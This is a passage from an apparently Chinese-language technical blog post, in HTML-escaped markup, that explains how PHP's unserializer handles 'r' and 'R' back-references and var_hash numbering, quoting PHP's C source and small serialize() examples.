class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;b = \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// O:8:\u0026quot;stdClass\u0026quot;:2:\u0026#123;s:1:\u0026quot;a\u0026quot;;i:1;s:1:\u0026quot;b\u0026quot;;i:1;\u0026#125; // 基础类型\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$y\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a = \u003cspan class=\"variable\"\u003e$y\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;b = \u003cspan class=\"variable\"\u003e$y\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// O:8:\u0026quot;stdClass\u0026quot;:2:\u0026#123;s:1:\u0026quot;a\u0026quot;;O:8:\u0026quot;stdClass\u0026quot;:0:\u0026#123;\u0026#125;s:1:\u0026quot;b\u0026quot;;r:2;\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// id(a) == id(b),二者都是$y;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a = \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;b = \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// O:8:\u0026quot;stdClass\u0026quot;:2:\u0026#123;s:1:\u0026quot;a\u0026quot;;r:1;s:1:\u0026quot;b\u0026quot;;r:1;\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e而当PHP中的一个对象如果是对另一对象显式的\u003cstrong\u003e引用\u003c/strong\u003e,那么在同时对它们进行序列化时将通过大写R表示\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;b = \u0026amp;\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// O:8:\u0026quot;stdClass\u0026quot;:2:\u0026#123;s:1:\u0026quot;a\u0026quot;;i:1;s:1:\u0026quot;b\u0026quot;;R:2;\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"分析\"\u003e分析\u003c/h2\u003e\u003ch3 id=\"R与r的不同处理\"\u003eR与r的不同处理\u003c/h3\u003e\u003cp\u003e对于“同一个对象”,php直接对取出的对象引用进行了一次解引用,便将这个 \u003cem\u003e\u003cstrong\u003e对象\u003c/strong\u003e\u003c/em\u003e 赋给了右值。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026quot;r:\u0026quot;\u003c/span\u003e uiv \u003cspan class=\"string\"\u003e\u0026quot;;\u0026quot;\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zend_long id;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e *p = YYCURSOR;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!var_hash) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e id = \u003cspan class=\"built_in\"\u003eparse_uiv\u003c/span\u003e(start + \u003cspan class=\"number\"\u003e2\u003c/span\u003e) - \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (id == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e || (rval_ref = \u003cspan class=\"built_in\"\u003evar_access\u003c/span\u003e(var_hash, id)) == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 待会说 var_hash ,先看下面几行\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// r begin\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (rval_ref == rval) \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eZVAL_DEREF\u003c/span\u003e(rval_ref);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eZ_TYPE_P\u003c/span\u003e(rval_ref) != IS_OBJECT) \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// r end\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eZVAL_COPY\u003c/span\u003e(rval, rval_ref);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e而对于“对象引用”,其反序列化过程与上面小r非常像,不一样的地方在于 r begin 和 r end 之间:\u003c/p\u003e\u003cp\u003ephp并没有对取出的引用进行解引用,直接将这个 \u003cem\u003e\u003cstrong\u003e引用\u003c/strong\u003e\u003c/em\u003e 赋给了右值。\u003cbr\u003e如果取出的引用本身指向的是一个引用,php还会进一步跟到引用指向的对象,创建一个新的指向对应对象的引用,赋给右值。\u003cbr\u003e我觉得这一步可以起名叫ref flattening。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 略\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (id == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e || (rval_ref = \u003cspan class=\"built_in\"\u003evar_access\u003c/span\u003e(var_hash, id)) == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// R begin\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eZ_ISUNDEF_P\u003c/span\u003e(rval_ref) || (\u003cspan class=\"built_in\"\u003eZ_ISREF_P\u003c/span\u003e(rval_ref) \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003eZ_ISUNDEF_P\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eZ_REFVAL_P\u003c/span\u003e(rval_ref)))) \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!\u003cspan class=\"built_in\"\u003eZ_ISREF_P\u003c/span\u003e(rval_ref)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zend_property_info *info = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((*var_hash)-\u0026gt;ref_props) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e info = \u003cspan class=\"built_in\"\u003ezend_hash_index_find_ptr\u003c/span\u003e((*var_hash)-\u0026gt;ref_props, (\u003cspan class=\"keyword\"\u003ezend_uintptr_t\u003c/span\u003e)rval_ref);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eZVAL_NEW_REF\u003c/span\u003e(rval_ref, rval_ref);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (info) \u0026#123; \u003cspan class=\"built_in\"\u003eZEND_REF_ADD_TYPE_SOURCE\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eZ_REF_P\u003c/span\u003e(rval_ref), info); \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// R end\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eZVAL_COPY\u003c/span\u003e(rval, rval_ref);\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"数字\"\u003e数字\u003c/h3\u003e\u003cp\u003e那么,R/r后面跟的数字是怎么决定的呢?首先我们先来“黑箱分析”一下:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// e.g 1\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] = \u0026amp;\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e[\u003cspan class=\"number\"\u003e0\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// a:2:\u0026#123;i:0;O:8:\u0026quot;stdClass\u0026quot;:0:\u0026#123;\u0026#125;i:1;R:2;\u0026#125; ⬇️ 注意这,变了\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003evar_dump(unserialize(\u003cspan class=\"string\"\u003e\u0026#x27;a:2:\u0026#123;i:0;O:8:\u0026quot;stdClass\u0026quot;:0:\u0026#123;\u0026#125;i:1;R:1;\u0026#125;\u0026#x27;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 压缩了一下(\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003earray(2) \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [0]=\u0026gt; object(stdClass)#2 (0) \u0026#123;\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [1]=\u0026gt; array(2) \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [0]=\u0026gt; object(stdClass)#2 (0) \u0026#123;\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [1]=\u0026gt; *RECURSION*\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e \u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// e.g 2\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;b = \u0026amp;\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// O:8:\u0026quot;stdClass\u0026quot;:2:\u0026#123;s:1:\u0026quot;a\u0026quot;;i:1;s:1:\u0026quot;b\u0026quot;;R:2;\u0026#125; ⬇️ 同上\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003evar_dump(unserialize(\u003cspan class=\"string\"\u003e\u0026#x27;O:8:\u0026quot;stdClass\u0026quot;:2:\u0026#123;s:1:\u0026quot;a\u0026quot;;i:1;s:1:\u0026quot;b\u0026quot;;R:1;\u0026#125; \u0026#x27;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eobject(stdClass)#3 (2) \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [\u0026quot;a\u0026quot;]=\u0026gt; int(1)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [\u0026quot;b\u0026quot;]=\u0026gt; *RECURSION*\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e相信大家定睛看两眼上面的例子就能猜出,R/r后面的数字指代的是在 \u003cem\u003e\u003cstrong\u003e同一反序列化过程中\u003c/strong\u003e\u003c/em\u003e\u003cbr\u003e出现过的第n个非键(key)对象(我又在瞎起名字了)\u003c/p\u003e\u003cp\u003e看过上面的源码以后很容易猜到,在反序列化过程中:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (id == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e || (rval_ref = \u003cspan class=\"built_in\"\u003evar_access\u003c/span\u003e(var_hash, id)) == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这一步正是上面取值的关键。在反序列化过程中我们看到 \u003ccode\u003ephp_var_unserialize_internal\u003c/code\u003e 函数在一开头就进行了 \u003ccode\u003evar_push(var_hash, rval);\u003c/code\u003e 这样的操作(当然前提是反序列化的对象的标记不能是’R’,因为“引用”本身如果也计算在内,那么就有可能出现循环引用。浙恒河里),而 \u003ccode\u003evar_push\u003c/code\u003e 正是向列表 \u003ccode\u003evar_hash\u003c/code\u003e append一个新的元素。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e其实 \u003ccode\u003evar_hash\u003c/code\u003e 并不单单是一个列表,只是本文为方便这么说罢了。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cem\u003e\u003cstrong\u003e此处小重点\u003c/strong\u003e\u003c/em\u003e\u003c/p\u003e\u003cp\u003e这时候就有同学要问了,数组的index是数字,对象的属性名是字符串,它们都存在于反序列化过程当中,为什么它们没有被append进 \u003ccode\u003evar_hash\u003c/code\u003e 呢?我们回头看一下 \u003ccode\u003evar_push\u003c/code\u003e 的条件:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (var_hash \u0026amp;\u0026amp; (*p)[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] != \u003cspan class=\"string\"\u003e\u0026#x27;R\u0026#x27;\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e后面那个’R’已经在恒河里了,那么前面那个 \u003ccode\u003evar_hash\u003c/code\u003e 非 NULL 的判断意义何在呢?\u003cbr\u003e桥豆麻袋,\u003ccode\u003evar_hash\u003c/code\u003e 是哪里来的呢?\u003cbr\u003e\u003ccode\u003ephp_var_unserialize_internal\u003c/code\u003e 的参数里有个宏\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e UNSERIALIZE_PARAMETER \\\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zval *rval, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e **p, \\\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *max, \\\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ephp_unserialize_data_t\u003c/span\u003e 